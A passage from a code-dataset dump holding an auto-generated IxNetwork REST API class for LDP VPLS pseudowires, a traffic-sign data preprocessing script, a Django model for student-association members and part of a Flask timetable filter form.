UpInterval(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): Time Interval for which the PW status will remain in Up state before transitioning again to Down state.\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"UpInterval\"]))\n\n    @property\n    def VCIDStart(self):\n        # type: () -> 'Multivalue'\n        \"\"\"\n        Returns\n        -------\n        - obj(ixnetwork_restpy.multivalue.Multivalue): The value of the VC ID\n        \"\"\"\n        from ixnetwork_restpy.multivalue import Multivalue\n\n        return Multivalue(self, self._get_attribute(self._SDM_ATT_MAP[\"VCIDStart\"]))\n\n    def update(\n        self,\n        AutoPeerId=None,\n        ConnectedVia=None,\n        Multiplier=None,\n        Name=None,\n        StackedLayers=None,\n    ):\n        # type: (bool, List[str], int, str, List[str]) -> Ldppwvpls\n        \"\"\"Updates ldppwvpls resource on the server.\n\n        This method has some named parameters with a type: obj (Multivalue).\n        The Multivalue class has documentation that details the possible values for those named parameters.\n\n        Args\n        ----\n        - AutoPeerId (bool): If selected, LDP Peer IP would be taken from LDP router's peer configuration.\n        - ConnectedVia (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of layers this layer is used to connect with to the wire.\n        - Multiplier (number): Number of layer instances per parent instance (multiplier)\n        - Name (str): Name of NGPF element, guaranteed to be unique in Scenario\n        - StackedLayers (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of secondary (many to one) child layer protocols\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        return self._update(self._map_locals(self._SDM_ATT_MAP, locals()))\n\n    def add(\n        self,\n        AutoPeerId=None,\n        ConnectedVia=None,\n        Multiplier=None,\n        Name=None,\n        StackedLayers=None,\n    ):\n        # type: (bool, List[str], int, str, List[str]) -> Ldppwvpls\n        \"\"\"Adds a new ldppwvpls resource on the server and adds it to the container.\n\n        Args\n        ----\n        - AutoPeerId (bool): If selected, LDP Peer IP would be taken from LDP router's peer configuration.\n        - ConnectedVia (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of layers this layer is used to connect with to the wire.\n        - Multiplier (number): Number of layer instances per parent instance (multiplier)\n        - Name (str): Name of NGPF element, guaranteed to be unique in Scenario\n        - StackedLayers (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of secondary (many to one) child layer protocols\n\n        Returns\n        -------\n        - self: This instance with all currently retrieved ldppwvpls resources using find and the newly added ldppwvpls resources available through an iterator or index\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        return self._create(self._map_locals(self._SDM_ATT_MAP, locals()))\n\n    def remove(self):\n        \"\"\"Deletes all the contained ldppwvpls resources in this instance from the server.\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        self._delete()\n\n    def find(\n        self,\n        AutoPeerId=None,\n        ConnectedVia=None,\n        Count=None,\n        DescriptiveName=None,\n        Errors=None,\n        LocalRouterID=None,\n        Multiplier=None,\n        Name=None,\n        SessionStatus=None,\n        StackedLayers=None,\n        StateCounts=None,\n        Status=None,\n    ):\n        \"\"\"Finds and retrieves ldppwvpls resources from the server.\n\n        All named parameters are evaluated on the server using regex. The named parameters can be used to selectively retrieve ldppwvpls resources from the server.\n        To retrieve an exact match ensure the parameter value starts with ^ and ends with $\n        By default the find method takes no parameters and will retrieve all ldppwvpls resources from the server.\n\n        Args\n        ----\n        - AutoPeerId (bool): If selected, LDP Peer IP would be taken from LDP router's peer configuration.\n        - ConnectedVia (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of layers this layer is used to connect with to the wire.\n        - Count (number): Number of elements inside associated multiplier-scaled container object, e.g. number of devices inside a Device Group.\n        - DescriptiveName (str): Longer, more descriptive name for element. It's not guaranteed to be unique like -name-, but may offer more context.\n        - Errors (list(dict(arg1:str[None | /api/v1/sessions/1/ixnetwork/],arg2:list[str]))): A list of errors that have occurred\n        - LocalRouterID (list(str)): Router ID\n        - Multiplier (number): Number of layer instances per parent instance (multiplier)\n        - Name (str): Name of NGPF element, guaranteed to be unique in Scenario\n        - SessionStatus (list(str[down | notStarted | up])): Current state of protocol session: Not Started - session negotiation not started, the session is not active yet. Down - actively trying to bring up a protocol session, but negotiation is didn't successfully complete (yet). Up - session came up successfully.\n        - StackedLayers (list(str[None | /api/v1/sessions/1/ixnetwork/topology])): List of secondary (many to one) child layer protocols\n        - StateCounts (dict(total:number,notStarted:number,down:number,up:number)): A list of values that indicates the total number of sessions, the number of sessions not started, the number of sessions down and the number of sessions that are up\n        - Status (str(configured | error | mixed | notStarted | started | starting | stopping)): Running status of associated network element. Once in Started state, protocol sessions will begin to negotiate.\n\n        Returns\n        -------\n        - self: This instance with matching ldppwvpls resources retrieved from the server available through an iterator or index\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        return self._select(self._map_locals(self._SDM_ATT_MAP, locals()))\n\n    def read(self, href):\n        \"\"\"Retrieves a single instance of ldppwvpls data from the server.\n\n        Args\n        ----\n        - href (str): An href to the instance to be retrieved\n\n        Returns\n        -------\n        - self: This instance with the ldppwvpls resources from the server available through an iterator or index\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        return self._read(href)\n\n    def Abort(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Executes the abort operation on the server.\n\n        Abort CPF control plane (equals to demote to kUnconfigured state).\n\n        The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n        abort(async_operation=bool)\n        ---------------------------\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        abort(SessionIndices=list, async_operation=bool)\n        ------------------------------------------------\n        - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        abort(SessionIndices=string, async_operation=bool)\n        --------------------------------------------------\n        - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        payload = {\"Arg1\": self}\n        for i in range(len(args)):\n            payload[\"Arg%s\" % (i + 2)] = args[i]\n        for item in kwargs.items():\n            payload[item[0]] = item[1]\n        return self._execute(\"abort\", payload=payload, response_object=None)\n\n    def PurgeVCRanges(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Executes the purgeVCRanges operation on the server.\n\n        Purge VC Ranges\n\n        The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n        purgeVCRanges(async_operation=bool)\n        -----------------------------------\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        purgeVCRanges(SessionIndices=list, async_operation=bool)\n        --------------------------------------------------------\n        - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        purgeVCRanges(SessionIndices=string, async_operation=bool)\n        ----------------------------------------------------------\n        - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        payload = {\"Arg1\": self}\n        for i in range(len(args)):\n            payload[\"Arg%s\" % (i + 2)] = args[i]\n        for item in kwargs.items():\n            payload[item[0]] = item[1]\n        return self._execute(\"purgeVCRanges\", payload=payload, response_object=None)\n\n    def Purgevcranges(self, *args, **kwargs):\n        # type: (*Any, **Any) -> Union[List[str], None]\n        \"\"\"Executes the purgevcranges operation on the server.\n\n        Purge Ethernet VC. Sends Address Withdraw message to purge all MACs learnt for this VC. Applicable for Ethernet Type VC only ( not VLAN).\n\n        purgevcranges(Arg2=list, async_operation=bool)list\n        --------------------------------------------------\n        - Arg2 (list(number)): Purge VC Ranges.\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n        - Returns list(str): ID to associate each async action invocation\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        payload = {\"Arg1\": self.href}\n        for i in range(len(args)):\n            payload[\"Arg%s\" % (i + 2)] = args[i]\n        for item in kwargs.items():\n            payload[item[0]] = item[1]\n        return self._execute(\"purgevcranges\", payload=payload, response_object=None)\n\n    def PurgeVPLSMac(self, *args, **kwargs):\n        # type: (*Any, **Any) -> Union[List[str], None]\n        \"\"\"Executes the purgeVPLSMac operation on the server.\n\n        Purge VPLS MAC\n\n        The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n        purgeVPLSMac(Mac_count=number, Mac=string, async_operation=bool)\n        ----------------------------------------------------------------\n        - Mac_count (number): This parameter requires a mac_count of type kInteger\n        - Mac (str): This parameter requires a mac of type kString\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        purgeVPLSMac(Mac_count=number, Mac=string, SessionIndices=list, async_operation=bool)\n        -------------------------------------------------------------------------------------\n        - Mac_count (number): This parameter requires a mac_count of type kInteger\n        - Mac (str): This parameter requires a mac of type kString\n        - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        purgeVPLSMac(SessionIndices=string, Mac_count=number, Mac=string, async_operation=bool)\n        ---------------------------------------------------------------------------------------\n        - SessionIndices (str): This parameter requires a mac_count of type kInteger\n        - Mac_count (number): This parameter requires a mac of type kString\n        - Mac (str): This parameter requires a string of session numbers 1-4;6;7-12\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        purgeVPLSMac(Arg2=list, Arg3=number, Arg4=string, async_operation=bool)list\n        ---------------------------------------------------------------------------\n        - Arg2 (list(number)): Purge Ethernet MAC.\n        - Arg3 (number): Number of Mac addresses to purge\n        - Arg4 (str): Mac addresses start\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n        - Returns list(str): ID to associate each async action invocation\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        payload = {\"Arg1\": self}\n        for i in range(len(args)):\n            payload[\"Arg%s\" % (i + 2)] = args[i]\n        for item in kwargs.items():\n            payload[item[0]] = item[1]\n        return self._execute(\"purgeVPLSMac\", payload=payload, response_object=None)\n\n    def RestartDown(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Executes the restartDown operation on the server.\n\n        Stop and start interfaces and sessions that are in Down state.\n\n        The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n        restartDown(async_operation=bool)\n        ---------------------------------\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        restartDown(SessionIndices=list, async_operation=bool)\n        ------------------------------------------------------\n        - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        restartDown(SessionIndices=string, async_operation=bool)\n        --------------------------------------------------------\n        - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        payload = {\"Arg1\": self}\n        for i in range(len(args)):\n            payload[\"Arg%s\" % (i + 2)] = args[i]\n        for item in kwargs.items():\n            payload[item[0]] = item[1]\n        return self._execute(\"restartDown\", payload=payload, response_object=None)\n\n    def Start(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Executes the start operation on the server.\n\n        Start CPF control plane (equals to promote to negotiated state).\n\n        The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n        start(async_operation=bool)\n        ---------------------------\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        start(SessionIndices=list, async_operation=bool)\n        ------------------------------------------------\n        - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        start(SessionIndices=string, async_operation=bool)\n        --------------------------------------------------\n        - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        payload = {\"Arg1\": self}\n        for i in range(len(args)):\n            payload[\"Arg%s\" % (i + 2)] = args[i]\n        for item in kwargs.items():\n            payload[item[0]] = item[1]\n        return self._execute(\"start\", payload=payload, response_object=None)\n\n    def Stop(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"Executes the stop operation on the server.\n\n        Stop CPF control plane (equals to demote to PreValidated-DoDDone state).\n\n        The IxNetwork model allows for multiple method Signatures with the same name while python does not.\n\n        stop(async_operation=bool)\n        --------------------------\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        stop(SessionIndices=list, async_operation=bool)\n        -----------------------------------------------\n        - SessionIndices (list(number)): This parameter requires an array of session numbers 1 2 3\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        stop(SessionIndices=string, async_operation=bool)\n        -------------------------------------------------\n        - SessionIndices (str): This parameter requires a string of session numbers 1-4;6;7-12\n        - async_operation (bool=False): True to execute the operation asynchronously. Any subsequent rest api calls made through the Connection class will block until the operation is complete.\n\n        Raises\n        ------\n        - NotFoundError: The requested resource does not exist on the server\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        payload = {\"Arg1\": self}\n        for i in range(len(args)):\n            payload[\"Arg%s\" % (i + 2)] = args[i]\n        for item in kwargs.items():\n            payload[item[0]] = item[1]\n        return self._execute(\"stop\", payload=payload, response_object=None)\n\n    def get_device_ids(\n        self,\n        PortNames=None,\n        Active=None,\n        AutoPeerID=None,\n        BfdPwCV=None,\n        BfdUdpCV=None,\n        CBitEnabled=None,\n        DescEnabled=None,\n        Description=None,\n        DownInterval=None,\n        DownStart=None,\n        EnableCCCVNegotiation=None,\n        EnablePWStatus=None,\n        GroupId=None,\n        InterfaceType=None,\n        Ipv6PeerId=None,\n        LSPPingCV=None,\n        Label=None,\n        Mtu=None,\n        PWACHCC=None,\n        PWStatusCode=None,\n        PeerId=None,\n        PwStatusSendNotification=None,\n        RepeatCount=None,\n        RouterAlertCC=None,\n        UpInterval=None,\n        VCIDStart=None,\n    ):\n        \"\"\"Base class infrastructure that gets a list of ldppwvpls device ids encapsulated by this object.\n\n        Use the optional regex parameters in the method to refine the list of device ids encapsulated by this object.\n\n        Args\n        ----\n        - PortNames (str): optional regex of port names\n        - Active (str): optional regex of active\n        - AutoPeerID (str): optional regex of autoPeerID\n        - BfdPwCV (str): optional regex of bfdPwCV\n        - BfdUdpCV (str): optional regex of bfdUdpCV\n        - CBitEnabled (str): optional regex of cBitEnabled\n        - DescEnabled (str): optional regex of descEnabled\n        - Description (str): optional regex of description\n        - DownInterval (str): optional regex of downInterval\n        - DownStart (str): optional regex of downStart\n        - EnableCCCVNegotiation (str): optional regex of enableCCCVNegotiation\n        - EnablePWStatus (str): optional regex of enablePWStatus\n        - GroupId (str): optional regex of groupId\n        - InterfaceType (str): optional regex of interfaceType\n        - Ipv6PeerId (str): optional regex of ipv6PeerId\n        - LSPPingCV (str): optional regex of lSPPingCV\n        - Label (str): optional regex of label\n        - Mtu (str): optional regex of mtu\n        - PWACHCC (str): optional regex of pWACHCC\n        - PWStatusCode (str): optional regex of pWStatusCode\n        - PeerId (str): optional regex of peerId\n        - PwStatusSendNotification (str): optional regex of pwStatusSendNotification\n        - RepeatCount (str): optional regex of repeatCount\n        - RouterAlertCC (str): optional regex of routerAlertCC\n        - UpInterval (str): optional regex of upInterval\n        - VCIDStart (str): optional regex of vCIDStart\n\n        Returns\n        -------\n        - list(int): A list of device ids that meets the regex criteria provided in the method parameters\n\n        Raises\n        ------\n        - ServerError: The server has encountered an uncategorized error condition\n        \"\"\"\n        return self._get_ngpf_device_ids(locals())\n","sub_path":"ixnetwork_restpy/testplatform/sessions/ixnetwork/topology/ldppwvpls_e691d6b250f877cef17952ec6e6b30b9.py","file_name":"ldppwvpls_e691d6b250f877cef17952ec6e6b30b9.py","file_ext":"py","file_size_in_byte":48612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"433706280","text":"import os, sys, csv\nfrom PIL import Image\n\ncurrdir = os.path.abspath(os.path.join(os.path.abspath(__file__), os.pardir))\npardir = os.path.abspath(os.path.join(currdir, os.pardir))\nbasedir = 'D:\\Yanxi\\MMGRAD\\MM803\\Project\\signDatabasePublicFramesOnly'  # change this\ntoolsdir = basedir + '/tools/'\nsys.path.append(toolsdir)\nsys.argv.append('80')  # 80% training data - 20% testing\nsys.argv.append(basedir + '/allAnnotations.csv')\nimport splitAnnotationFiles\n\nsign_labels = {}\n\nwith open(pardir+'/Sign_labels.csv', 'rt') as csvfile:\n\treader = csv.reader(csvfile, delimiter=',')\n\tfor i, row in enumerate(reader):\n\t\tif i == 0:\n\t\t\tcontinue\n\t\tif row[2] != 'None':\n\t\t\tsign_labels[row[2]] = row[0]\n\n\ndef parse_csv(csv_file):\n\tfilenames, annotations = [], []\n\twith open(csv_file, 'rt') as csvfile:\n\t\treader = csv.reader(csvfile, delimiter=' ')\n\t\tfor i, row in enumerate(reader):\n\t\t\tif i == 0:\n\t\t\t\tcontinue\n\t\t\tdata = row[0].split(',')[0].split(';')\n\t\t\ttag = data[1]\n\t\t\tif tag not in sign_labels:\n\t\t\t\tcontinue\n\t\t\tfilenames.append(data[0])\n\t\t\tupper_left_x, upper_left_y, lower_right_x, lower_right_y = int(data[2]), int(data[3]), int(data[4]), int(data[5])\n\t\t\tx, y, width, height = (upper_left_x + lower_right_x) // 2, (upper_left_y + lower_right_y) // 2, \\\n\t\t\t\t\t\t\t\t\tlower_right_x - upper_left_x, lower_right_y - upper_left_y\n\t\t\tannotations.append([sign_labels[tag], x, y, width, height])\n\treturn filenames, annotations\n\n\ndef convert(filenames, annotations, type):\n\tif not os.path.exists(basedir+'/'+type):\n\t\tos.makedirs(basedir+'/'+type)\n\tfor i, name in enumerate(filenames):\n\t\tim = Image.open(basedir+'/'+name)\n\t\tim_width, im_height = im.size\n\t\trgb_im = im.convert('RGB')\n\t\trgb_im.save(basedir+'/'+type+'/'+type+str(i)+'.jpg')\n\n\t\tcls_num, abs_x, abs_y, abs_width, abs_height = annotations[i]\n\n\t\twith open(basedir+'/'+type+'/'+type+str(i)+\".txt\", \"w\") as text_file:\n\t\t\ttext_file.write(\"%s %s %s %s %s\" % (cls_num, abs_x/im_width, abs_y/im_height, abs_width/im_width, abs_height/im_height))\n\n\t\tprint('Generating '+type+str(i))\n\n\n#train_img, train_annot = parse_csv(basedir+'\\split1.csv')\n#convert(train_img, train_annot, 'Train')\n#test_img, test_annot = parse_csv(basedir+'\\split2.csv')\n#convert(test_img, test_annot, 'Test')\n\n# --------------------------Extract for CNN-------------------------------\n\nimport numpy as np\nimport pickle\n\n\ndef pickle_im(annotation, size, data_type):\n\tsys.path.append(toolsdir)\n\tsys.argv.append('crop')\n\tsys.argv.append(annotation)\n\t#import extractAnnotations\n\n\timages = os.listdir(basedir+'/annotations/')\n\tX, y = [], []\n\tfor path in images:\n\t\tim = Image.open(basedir+'/annotations/'+path)\n\t\tout = im.resize((size, size))\n\t\ttag = path.split('_')[1]\n\t\tif tag not in sign_labels:\n\t\t\tcontinue\n\t\tX.append(np.asarray(out))\n\t\ty.append(np.asarray(sign_labels[tag]))\n\n\twith open(basedir+'/X_'+data_type+'.p', 'wb') as f:\n\t\tpickle.dump(np.array(X), f)\n\n\twith open(basedir+'/y_'+data_type+'.p', 'wb') as f:\n\t\tpickle.dump(np.array(y), f)\n\n\tprint(images)\n\n#pickle_im(basedir+'/split1.csv', 32, 'train')\n#pickle_im(basedir+'/split2.csv', 32, 'test')\n\n\n# -----------------------Extract new dataset for CNN----------------------------\ntraindir = 'D:\\Yanxi\\MMGRAD\\MM803\\Project/train/'\ntestdir = 'D:\\Yanxi\\MMGRAD\\MM803\\Project/test/'\nbasedir = 'D:\\Yanxi\\MMGRAD\\MM803\\Project/'\n\n\ndef append_pickle(imdir, pkldir, data_type):\n\tnew_X, new_y = [], []\n\tsubdir = os.listdir(imdir+data_type+'/')\n\tfor sub in subdir:\n\t\ts = imdir+data_type+'/'+sub+'/'\n\t\tfor im in os.listdir(s):\n\t\t\timage = Image.open(s+im)\n\t\t\tout = image.resize((32, 32))\n\t\t\tnew_X.append(np.asarray(out))\n\t\t\tnew_y.append(np.asarray(sub))\n\n\twith open(pkldir+'X_'+data_type+'.p', 'rb') as f:\n\t\tX = pickle.load(f)\n\twith open(pkldir+'y_'+data_type+'.p', 'rb') as f:\n\t\ty = pickle.load(f)\n\n\tX_total = np.concatenate((X, np.asarray(new_X)), axis=0)\n\ty_total = np.concatenate((y, np.asarray(new_y)), axis=0)\n\n\twith open(pkldir+'X_'+data_type+'.p', 'wb') as f:\n\t\tpickle.dump(X_total, f)\n\twith open(pkldir+'y_'+data_type+'.p', 'wb') as f:\n\t\tpickle.dump(y_total, f)\n","sub_path":"TSR/preprocessing/ConvertLISA.py","file_name":"ConvertLISA.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"652456627","text":"from autoslug import AutoSlugField\nfrom django.contrib.auth.models import User, Group, Permission\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.utils.datetime_safe import datetime\nfrom account.models import Eestecer\nfrom eestecnet import settings\nfrom events.models import Event\n\nTYPE_CHOICES = (\n        ('body', 'Body'),\n        ('team', 'International Team'),\n        ('lc', 'Local Committee'),\n        ('jlc', 'Junior Local Committee'),\n        ('observer', 'Observer'),\n    )\nclass Member(models.Model):\n    \"\"\"Member objects are used to unify and abstract away from the internal entity of parts of our organization.\n\n    Members can be Observers, LCs, Junior LCs, International Teams or Bodies of the association.\n    The goal using these objects is to unify the way how we handle interactions that are common to all five kinds of parts of eestec\n\n    When Members are created first, a local event called Recruitment is automatically created. By applying to\n    event, registered users can become part of one or more members.\"\"\"\n\n    #General\n    \"\"\" The name of the :class:`Member`\"\"\"\n    name = models.CharField(max_length=50,unique=True)\n    slug=AutoSlugField(populate_from='name')\n    \"\"\"The type of the :class:`Member`\"\"\"\n    type = models.CharField(\n        max_length=30,\n        choices=TYPE_CHOICES,\n        default='lc')\n    thumbnail=models.ImageField(blank=True,null=True,upload_to=\"memberthumbs\")\n    thumbsource=models.CharField(max_length=50,blank=True,null=True)\n    \"\"\"The picture that should appear in the :class:`Member` list\"\"\"\n    description= models.TextField(blank= True, null=True)\n    \"\"\" LC info text\"\"\"\n    facebook = models.URLField(blank=True, null=True)\n    \"\"\" Facebook page for the member\"\"\"\n    website = models.URLField(blank=True, null=True)\n    address = models.TextField(blank=True, null=True)\n    def clean(self):\n        # Don't allow draft entries to have a pub_date.\n        if self.thumbnail and not self.thumbsource:\n            raise ValidationError('Please provide the source for the image')\n\n    #Members\n    members = models.ManyToManyField(\n        Eestecer,\n        blank=True,\n        null=True,\n        related_name='members')\n    \"\"\" The :class:`Users <account.models.Eestecer>` who are considered\n    to be part of the :class:`Member`\"\"\"\n    priviledged = models.ManyToManyField(\n        Eestecer,\n        blank=True,\n        null=True,\n        related_name='priviledged')\n    \"\"\"The priviledged :class:`Users <account.models.Eestecer>` of the :class:`Member`,\n    they are able to make changes.\"\"\"\n    board = models.ManyToManyField(\n        Eestecer,\n        blank=True,\n        null=True,\n        related_name='board')\n    \"\"\"The board of the :class:`Member`\"\"\"\n    founded=models.PositiveIntegerField(null=True, blank=True)\n    \"\"\"When the :class:`Member` was first established\"\"\"\n    def save(self, *args,**kwargs):\n        if self.pk==None:\n            super(Member,self).save(*args,**kwargs)\n            a=Event.objects.create(\n                name=str(self.slug+\" recruitment\"),\n                scope=\"local\",\n                category=\"recruitment\",\n                summary=\"Interested in joining? Apply here or click for more information\",\n                description=\"We are always recruiting and welcoming new people.\",\n                start_date=datetime.now()\n            )\n            a.save()\n            a.organizing_committee=[self]\n        else:\n            for usr in self.priviledged.all():\n                usr.is_staff=True\n                usr.groups.add(Group.objects.get(name='Local Admins'))\n                usr.save()\n            super(Member,self).save(*args,**kwargs)\n    def __unicode__(self):\n        if self.type not in ['jlc','lc','observer']:\n            return self.name\n        return self.type.upper() + \" \" + self.name\n    def member_count(self):\n        \"\"\" The amount of members currently in the :class:`Member` \"\"\"\n        return len(self.members.all())-1\n    def last_event(self):\n        \"\"\"  The date of the last :class:`~events.models.Event` organized by the :class:`Member` \"\"\"\n        try:\n            return self.event_set.all().exclude(name='Recruitment').order_by('-start_date')[0].start_date\n        except:\n            return 0\nclass MemberImage(models.Model):\n    \"\"\" Helper class used to associate an arbitrary number of images with a :class:`Member` \"\"\"\n\n    property = models.ForeignKey(Member, related_name='images')\n    image = models.ImageField(upload_to=\"memberimages\")\n    \"\"\"An Image\"\"\"","sub_path":"members/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"590839638","text":"from flask import session, flash\nfrom flask import g\nfrom flask_wtf import FlaskForm\nfrom wtforms import PasswordField, StringField, SubmitField, BooleanField, SelectField, FieldList\nfrom wtforms.validators import DataRequired\n\nfrom data import db_session\nfrom data.cl_const import Const\nfrom data.db_class_courses import Courses\nfrom data.db_class_days import Days\nfrom data.db_class_groups import Groups\nfrom data.db_class_kabs import Kabs\nfrom data.db_class_priv import Priv\nfrom data.db_class_roles import Roles\nfrom data.db_class_users import Users\n\n\nclass RaspFilterForm(FlaskForm):\n    fr_course = SelectField(u'Учебный курс', coerce=int)\n    fr_group = SelectField(u'Учебная группа', coerce=int)\n    fr_users = SelectField(u'ФИО Наставника', coerce=int)\n    fr_weekday = SelectField(u'День недели', coerce=int)\n    fr_kabinet = SelectField(u'Кабинет', coerce=int)\n    submit = SubmitField('Применить фильтр')\n\n    def __init__(self, *args, **kwargs):\n        super(RaspFilterForm, self).__init__(*args, **kwargs)\n        # try:\n        # with db_session.create_session() as db_sess:\n        #     # Users\n        #     try:\n        users = g.db_sess.query(Users).join(Roles).join(Priv).join(Groups, Groups.idUsers == Users.id).\\\n            join(Courses, Courses.id == Groups.idCourses).\\\n            filter(Priv.access.like(Const.ACC_PREPOD)).order_by(Users.name)\n        if self.fr_course.data:\n            users = users.filter(Courses.id == self.fr_course.data)\n        if self.fr_group.data:\n            users = users.filter(Groups.id == self.fr_group.data)\n            # except Exception as err:\n            #     users = None\n            #     flash(f\"Ошибка обработки SQL\", category='error')\n        self.fr_users.choices = [(g.id, u\"%s\" % f'{g.name}') for g in users]\n        self.fr_users.choices.insert(0, (0, u\"Не выбрана\"))\n        if self.fr_users.data is not None:\n            self.fr_users.default = self.fr_users.data\n        else:\n            self.fr_users.data = session.get('fr_users', 0)\n        # День недели\n        try:\n            week_day = g.db_sess.query(Days).order_by(Days.id)\n        except Exception as err:\n            week_day = None\n            flash(f\"Ошибка обработки SQL\", category='error')\n        self.fr_weekday.choices = [(gg.id, u\"%s\" % f'{gg.name}') for gg in week_day]\n        self.fr_weekday.choices.insert(0, (0, u\"Не выбран\"))\n        if self.fr_weekday.data is not None:\n            self.fr_weekday.default = self.fr_weekday.data\n        else:\n            self.fr_weekday.data = session.get('fr_weekday', 0)\n        # Кабинет\n        try:\n            kabs = g.db_sess.query(Kabs).order_by(Kabs.id)\n        except Exception as err:\n            kabs = None\n            flash(f\"Ошибка обработки SQL\", category='error')\n        self.fr_kabinet.choices = [(gg.id, u\"%s\" % f'{gg.name}') for gg in kabs]\n        self.fr_kabinet.choices.insert(0, (0, u\"Не выбран\"))\n        if self.fr_kabinet.data is not None:\n            self.fr_kabinet.default = self.fr_kabinet.data\n        else:\n            self.fr_kabinet.data = session.get('fr_kabinet', 0)\n        # Учебный курс\n        try:\n            courses = g.db_sess.query(Courses).join(Groups, Groups.idCourses == Courses.id).\\\n                order_by(Courses.name).filter(Courses.year == Const.YEAR)\n            if self.fr_users.data:\n                courses = courses.filter(Groups.idUsers == self.fr_users.data)\n            if self.fr_group.data:\n                courses = courses.filter(Groups.id == self.fr_group.data)\n        except Exception as err:\n            courses = None\n            flash(f\"Ошибка обработки SQL\", category='error')\n        self.fr_course.choices = [(g.id, 